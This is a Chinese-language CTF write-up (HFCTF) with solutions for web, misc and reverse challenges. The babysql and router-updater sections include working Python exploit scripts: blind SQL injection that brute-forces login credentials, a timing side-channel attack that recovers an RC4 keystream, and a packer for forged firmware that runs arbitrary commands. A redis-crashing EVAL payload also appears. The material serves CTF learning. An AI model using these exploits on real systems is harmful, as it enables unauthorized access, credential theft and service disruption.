Web#

babysql#

  1. 引号和标识符、逻辑符号交替使用,绕过空字符过滤;
  2. 利用整数溢出错误和 case when 产生布尔注入条件,成功 401,失败 500;
  3. 用 regexp 和 `column`collate’utf8mb4_bin’ 区分大小写爆破 username 和 password;
  4. regexp 中使用 \x[hex] 代替特殊字符。

P.S.: 最开始爆破时未考虑大小写情况,后面用 collate 重新判别大小写

exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string

target = 'http://47.107.231.226:29200'

username = 'qAY8tEFYZc67aeoo'
password = 'm52fpLdxyYlB\\\\x5eEIZar\\\\x218GXH\\\\x24' # m52fpLdxyYlB^EIZar!8GXH$
dictionary = string.ascii_letters + string.digits + '-'

while True:
print('Testing {}'.format(len(password)))
for c in range(0xff):
r = requests.post(target+'/login', data={
'username': "1'||case`username`='{}'&&`password`regexp'^{}$'when'0'then'1'=~0+1&&'0'='0'else'1'end&&'1'='1".format(username, password + '\\\\x%02x' % c),
'password': "123456"
})
res = r.json()
if res['statusCode'] == 401:
print('Found: {}'.format(hex(c)))
password += chr(c)
print(password)
break

check_type.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import string

target = 'http://47.107.231.226:29200'

username = 'QaY8TeFYzC67aeoO'
password = 'm52FPlDxYyLB^eIzAr!8gxh$'
dictionary = string.ascii_letters + string.digits + '-'

for i in range(len(username)):
print('Testing username {}'.format(i))
if username[i].isalpha():
checkUsername = username[:i] + username[i].lower() + '.' * (len(username) - i - 1)
r = requests.post(target+'/login', data={
'username': "1'||case'1'='1'&&`username`collate'utf8mb4_bin'regexp'{}'when'0'then'1'=~0+1&&'0'='0'else'1'end&&'1'='1".format(checkUsername),
'password': "123456"
})
res = r.json()
if res['statusCode'] == 401:
username = username[:i] + username[i].lower() + username[i+1:]
else:
username = username[:i] + username[i].upper() + username[i+1:]
print(username)

for i in range(len(password)):
print('Testing password {}'.format(i))
if password[i].isalpha():
checkPassword = password[:i].replace('^', '\\\\x5e').replace('!', '\\\\x21').replace('$', '\\\\x24') + password[i].lower() + '.' * (len(password) - i - 1)
r = requests.post(target+'/login', data={
'username': "1'||case'1'='1'&&`username`collate'utf8mb4_bin'='{}'&&`password`collate'utf8mb4_bin'regexp'{}'when'0'then'1'=~0+1&&'0'='0'else'1'end&&'1'='1".format(username, checkPassword),
'password': "123456"
})
res = r.json()
if res['statusCode'] == 401:
password = password[:i] + password[i].lower() + password[i+1:]
else:
password = password[:i] + password[i].upper() + password[i+1:]
print(password)

Baby Router Updater#

  1. index.htm 注释泄漏 cgi-bin/download.cgi?file=xxx,能够下载 cgi 二进制文件:cgi-bin/download.cgi?file=cgi-bin/upgrade_fw.cgi;
  2. 逆向 upgrade_fw.cgi,找到验证 fw 文件逻辑,先是一个 RSA Encrypt 得到密钥,再用这个密钥作为 RC4 Key,解密 fw 文件 152 字节开始数据 inflate 结果,得到 /etc/sbin/do-upgrade 执行的原始内容,如果原始内容的 MD5 与 fw 文件 8+128~8+128+16 处 MD5 相同,则执行 /etc/sbin/do-upgrade;
  3. 由于 RC4 解密的内容是可控的,通过将内容设置为 RC4 密钥流,其输出的明文为全 0,此时设置 MD5 为对应长度全 0 MD5 值,程序会运行至 system(“/etc/sbin/do-upgrade %s”);如果内容不正确,则程序在验证 MD5 后中止,两种不同的操作带来一定的执行时间差异;
  4. 经过实际测试,一次正确 MD5 值和错误 MD5 值的执行时间差在 30ms 左右,枚举每一位 RC4 密钥流,计算对应全 0 MD5,执行一次请求,同时执行一次将 MD5 值换为错误值的请求,如果两次请求时间差在 30ms 以内,则枚举的 RC4 Key 错误;如果超过了 30ms,则枚举正确,每次执行 30 次测试取平均时间差减小偶然网络堵塞带来的时间抖动。这样,可以爆出若干位 RC4 密钥流;
  5. 得到 RC4 密钥流后,解出 test_patch.fw 中 patch 格式为一个 tar.gz 文件,其中有 fwversion 指定版本号,upgrade.sh 执行任意命令。编写将 flag 打印/复制到 /ht 目录的脚本,使用 RC4 密钥流以相同方式打包 fw,上传执行成功,得到 flag。

为了最大程度避免网络抖动的影响,做题时根据服务器地址,开了个深圳阿里云主机,ping 值为 4ms。毕竟需要测出 30ms 的差异。
爆出 RC4 密钥流用了两三个小时。

bruteforce.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from zlib import compress
from Crypto.Cipher import ARC4
from Crypto.Hash import MD5
import struct
import requests
import time

sess = requests.Session()
for i in range(5):
sess.post("http://119.23.144.151:39181/cgi-bin/upgrade_fw.cgi",files={
"firmware" : ("lll.fw", "xxx"*100)
})

data = open('test_patch.fw', 'rb').read()
key = data[8:8+128]

def pack(data_length, key, md5, data_after_zlib):
x = b""
x += b'BRFW'
x += struct.pack("<I", data_length)
x += key
x += md5
x += data_after_zlib
return x

def req(x):
t = time.time()
sess.post("http://119.23.144.151:39181/cgi-bin/upgrade_fw.cgi",files={
"firmware" : ("lll.fw", x)
})
delta = time.time() - t
return delta

def save(rc4key):
f = open('result.txt', 'wb')
f.write(rc4key)
f.close()

# rc4key = b'\xf7\\\xa4\xec\xf5k}\x8a\x13\x99\xc4u\x14\x05\xff\'\x19\x17HaX\xc1\xaf"\xf6\x05\xceT\xbe\x8d\xf5\xea\x18\xb5\x8d\x03[\xde\xf8\xe3\xf1-\xa7\xc8\xb5"\xc6YU\x83\x7f\xf03\xce\'\xdc\xd0\xebf\xce\xf7\x1b\xe0}\x936\xd9&a\xf2%\xc8\x8fB!\xbdO\x11\t\x0bm\x98\nF\x014l|\xf4\xa5\x9e`\xcd\x96\x0c \x82\xa3Rf\x97@\x84G\xd3o\x18F\xf8S>\x86\xd70`-\xefy\xc8$5\x15\xbb:,\x84\xf5|\x19#'
with open('result.txt', 'rb') as f:
rc4key = f.read()
f.close()

total_length = 212
times = 30
v_times = 3

def validate(c):
print('Validating {}'.format(hex(c)))
for vt in range(v_times):
total_delta1 = 0
total_delta2 = 0
for _ in range(times):
current_key = rc4key + bytes([c])
md5 = MD5.new(current_key).digest()
data_after_zlib = compress(b'\x00' * len(current_key))
x = pack(len(current_key), key, md5, data_after_zlib)
delta1 = req(x)
x = pack(len(current_key), key, b'\x00'*16, data_after_zlib)
delta2 = req(x)
total_delta1 += delta1
total_delta2 += delta2
gap = abs(total_delta1 - total_delta2) / times
if gap > 0.003:
return True
return False

try:
for pos in range(len(rc4key), total_length):
print('Testing pos {}'.format(pos))
found = 0
while not found:
for c in range(0, 0x100):
print('Working on {}'.format(hex(c)))
total_delta1 = 0
total_delta2 = 0
for _ in range(times):
current_key = rc4key + bytes([c])
md5 = MD5.new(current_key).digest()
data_after_zlib = compress(b'\x00' * len(current_key))
x = pack(len(current_key), key, md5, data_after_zlib)
delta1 = req(x)
x = pack(len(current_key), key, b'\x00'*16, data_after_zlib)
delta2 = req(x)
total_delta1 += delta1
total_delta2 += delta2
gap = abs(total_delta1 - total_delta2) / times
if gap > 0.003 and validate(c):
print((gap, hex(c)))
rc4key += bytes([c])
save(rc4key)
print(rc4key)
found = 1
break
except:
save(rc4key)
print(rc4key)
exit(0)
save(rc4key)
print(rc4key)

pack.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from zlib import compress
from Crypto.Hash import MD5
import struct

upgrade = open('upgrade.tar.gz', 'rb').read()
original = open('test_patch.fw', 'rb').read()
key = original[8:8+128]
rc4key = b'\xf7\\\xa4\xec\xf5k}\x8a\x13\x99\xc4u\x14\x05\xff\'\x19\x17HaX\xc1\xaf"\xf6\x05\xceT\xbe\x8d\xf5\xea\x18\xb5\x8d\x03[\xde\xf8\xe3\xf1-\xa7\xc8\xb5"\xc6YU\x83\x7f\xf03\xce\'\xdc\xd0\xebf\xce\xf7\x1b\xe0}\x936\xd9&a\xf2%\xc8\x8fB!\xbdO\x11\t\x0bm\x98\nF\x014l|\xf4\xa5\x9e`\xcd\x96\x0c \x82\xa3Rf\x97@\x84G\xd3o\x18F\xf8S>\x86\xd70`-\xefy\xc8$5\x15\xbb:,\x84\xf5|\x19#\xfa\x93$\xad\xcb\x80G\xe2\x98\x84^"e~f\xce}\xa2\t\x88\\#*B\xc2\x96/\xe6\x91!(N\xdc\x9f(\xda\xd6\x03\xa5)"\xe6d\xb0\x19\x05e\xf9_\xc1\xe4\xbcN\xd4Q\xee\x10\xe4\xc8\xba\xb9]=DQ9c0\xfb'
print('[*] upgrade:', len(upgrade))
print('[*] rc4key', len(rc4key))
if len(upgrade) > len(rc4key):
print('[-] Length of upgrade should be shorter than rc4key\'s')
exit(-1)
encrypted = b''
for i in range(len(upgrade)):
encrypted += bytes([upgrade[i] ^ rc4key[i]])
zlib_after = compress(encrypted)

def pack(data_length, key, md5, data_after_zlib):
x = b""
x += b'BRFW'
x += struct.pack("<I", data_length)
x += key
x += md5
x += data_after_zlib
return x

md5 = MD5.new(upgrade).digest()
f = open('test.fw','wb')
f.write(pack(len(encrypted), key, md5, zlib_after))
f.close()
print('[+] Generate fw file to test.fw')

Misc#

Plain Text#

base64 解密后,大小写互换,用 Google 翻译得到英语,flag 为 HFCTF{apple_watermelon}

Quest-Crash#

点击 KEYS * 后抓包,使用换行符堆叠多条命令,利用 https://github.com/redis/redis/issues/2855 EVAL "struct.pack('>I2147483648', '10')" 0 使 redis-server 崩溃,然后点击 getflag 拿到 flag。

Reverse#

fpbe#

  1. fpbe_bpf__create_skeleton 处找到 bpf bytecode ELF: 0x4F4018;
  2. 导出后,用 https://github.com/cylance/eBPF_processor IDA 工具逆向 bytecode,逻辑为验证四个等式,可以列出方程:
    1
    2
    3
    4
    5
    6
    a:r1+0x58 b:r1+0x60 c:r1+0x68 d:r1+0x70

    c*0xFB88+d*0x6DC0+b*0x71FB+a*0xCC8E = 0xBE18A1735995
    d*0xF1BF+c*0x6AE5+b*0xADD3+a*0x9284 = 0xA556E5540340
    d*0xDD85+c*0x8028+b*0x652D+a*0xE712 = 0xA6F374484DA3
    d*0x822C+c*0xCA43+b*0x7C8E+a*0xF23A = 0xB99C485A7277
  3. 解出:
    1
    2
    3
    4
    a	=	0x33356832
    b = 0x44703873
    c = 0x626c4173
    d = 0x33527630
  4. 根据后续逻辑解 hex 得到 flag: HFCTF{0vR3sAlbs8pD2h53}